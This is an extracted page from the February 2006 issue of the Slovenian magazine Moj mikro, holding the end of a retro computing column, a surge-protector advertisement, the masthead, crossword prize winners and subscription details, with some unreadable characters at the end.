strokovnjakov. Pa s slovenskim katalogom avtomobilov za leto 1996 in z zadevo, imenovano Sloexport 95, kar je bil izvozno/uvozni imenik na CD-ju. In še bi lahko naštevali… Zaključimo z naslovom »Kdo bo babici popravil aparat?« Da, da, računalništvo je tudi pri nas že zahajalo v podjetniške vode. In babica je pričakovala, da ji bo vnuk, ki se ni več ganil od ekrana, popravil merilnik krvnega tlaka… Vilko Novak Čipči @ @ @ @ @ 97 Zastopa in prodaja podjetje ALTERNA INTERTRADE, d.d., Leskoškova 6, Ljubljana Najhitrejše naročanje: 01 52 02 852 www.alterna-i.si VAS JE STRAH STRELE? izhaja vsak prvi torek v mesecu letnik 22, številka 2, februar 2006 Strahu pred uničenjem vaših naprav je lahko že jutri konec. Kar nekaj časa tudi v Sloveniji lahko kupujete prenapetostne zaščite nizozemskega podjetje BELKIN, ki imajo DOŽIVLJENJSKO GARANCIJO, prav tako pa GARANCIJA velja za naprave, ki bi se pri tem morebiti uničile. IZDAJA: DELO REVIJE, d. d. Dunajska 5, 1509 Ljubljana www.delo-revije.si DIREKTOR: Andrej Lesjak ...in uničenja video naprav, telefona, radia, televizijskega sprejemnika, računalnika? Vreme je nestabilno, velikokrat »treska« ... in uničuje električne aparate, telefone... Maksimalno zaščito vaših naprav pred prenapetostnimi sunki si lahko zagotovite za do 8 vtičnic, za antene za TV/VIDEO/AVDIO, ISDN in navadne telefonske linije. Prenapetostne zaščite BELKIN uvaža in prodaja podjetje ALTERNA INTERTRADE, d.d., Leskoškova 6, Ljubljana. Pokličite jih in svojo zaščito naročite na dom že danes: 01 52 02 852. UREDNIŠTVO: Dunajska 5, 1509 Ljubljana tel.: (01) 473 82 61 faks: (01) 473 81 69, 473 81 09 e-pošta: mojmikro@delo-revije.si GLAVNI UREDNIK: Marjan Kodelja ODGOVORNI UREDNIK: Zoran Banović POMOČNIKA GLAVNEGA UREDNIKA: Zlatko Matić in Milan Simčič UREDNIK: Jaka Mele UREDNIK FOTOGRAFIJE: Alan Orlič Belšak LIKOVNA ZASNOVA: Andrej Mavsar TEHNIČNI UREDNIK: Andrej Mavsar REDAKTOR: Slobodan Vujanović OGLASNO TRŽENJE: DELO REVIJE, d. d. Marketing Dunajska 5, 1509 Ljubljana tel.: (01) 473 81 11 faks: (01) 473 81 29 e-pošta: marketing@delo-revije.si KOLPORTAŽA: DELO REVIJE, d. d. Marketing Dunajska 5, 1509 Ljubljana tel.: (01) 473 81 20 faks: (01) 473 82 53 NAROČNINE: DELO REVIJE, d. d. Marketing Dunajska 5, 1509 Ljubljana tel.: (01) 473 81 23, 473 81 24 faks: (01) 473 82 53 e-pošta: narocnine@delo-revije.si Posamezni izvod stane 980 SIT.  Izid žrebanja nagradne križanke iz 1. številke Mojega mikra - GESLO: NAJDI SI SREČO V NOVEM LETU 5 praktičnih nagrad v vrednosti po 5.000 SIT podarja podjetje NOVIFORUM, d. o. o. Prejeli so jih: Ivo Dekanj, Ob žici 3, 1000 Ljubljana; Mladen Hladnik, Pot v Bitnje 16, 4000 Kranj; Janez Kolar, Lendavska ul. 13, 9000 Murska Sobota; Marjana Lamut Veber, Gubčeva c. 4a, 8210 Trebnje; Frančiška Rakovec, Sp. Duplje 93, 4203 Duplje. Nagrajenci bodo nagrade dobili po pošti. Ime in priimek: Naslov: __________________________________________ ___________________________________________________ ___________________________________________________ Davčna številka: ____________________________ GESLO: 98 Rešite križanko, črke z označenih polj pa vpišite v kupon. Dobite geslo, ki je rešitev nagradne križanke. Kupon izrežite in ga do 20. februarja pošljite na naslov: Uredništvo revije Moj mikro, Dunajska 5, 1509 Ljubljana Pripišite tudi svojo davčno številko. Rešitve lahko pošljete tudi po e-pošti: info@mojmikro.si Podjetje ALTERNA, d. d., bo petim izžrebancem, ki boste napisali pravilno geslo, podarilo prednapetostno stikalo v vrednosti po 5.000 SIT. Naročniki imajo posebne ugodnosti. Naročite se lahko pisno (klasična in elektronska pošta) ali telefonsko. Revijo boste začeli prejemati po prvem plačilu od tekoče številke naprej. Naročnina velja do vašega preklica. Naročnina za tujino se poravnava za eno leto vnaprej in znaša: 70 EUR, 111 USD, 161 AUD. Za vse informacije v zvezi z naročanjem edicije smo na voljo na zgoraj navedenih telefonskih številkah ali elektronski pošti. Nenaročenih besedil in fotografij ne vračamo. DIGITALNA OBDELAVA FOTOGRAFIJ IN OSVETLJEVANJE PLOŠČ: Delo Repro, d. o. o. Dunajska 5, Ljubljana TISK: DELO TISKARNA, d. d. Dunajska 5, Ljubljana februar 2006 natisnjeno v 8 500 izvodih. moj mikro | 2 | februar | 2006 ���������� ��������� ��������� ����������� ���������������������������������������������� �������������������������������������������������������������������� �������������������������������������������� ���������������������������������������������������������������������������������������������� ���� �������� �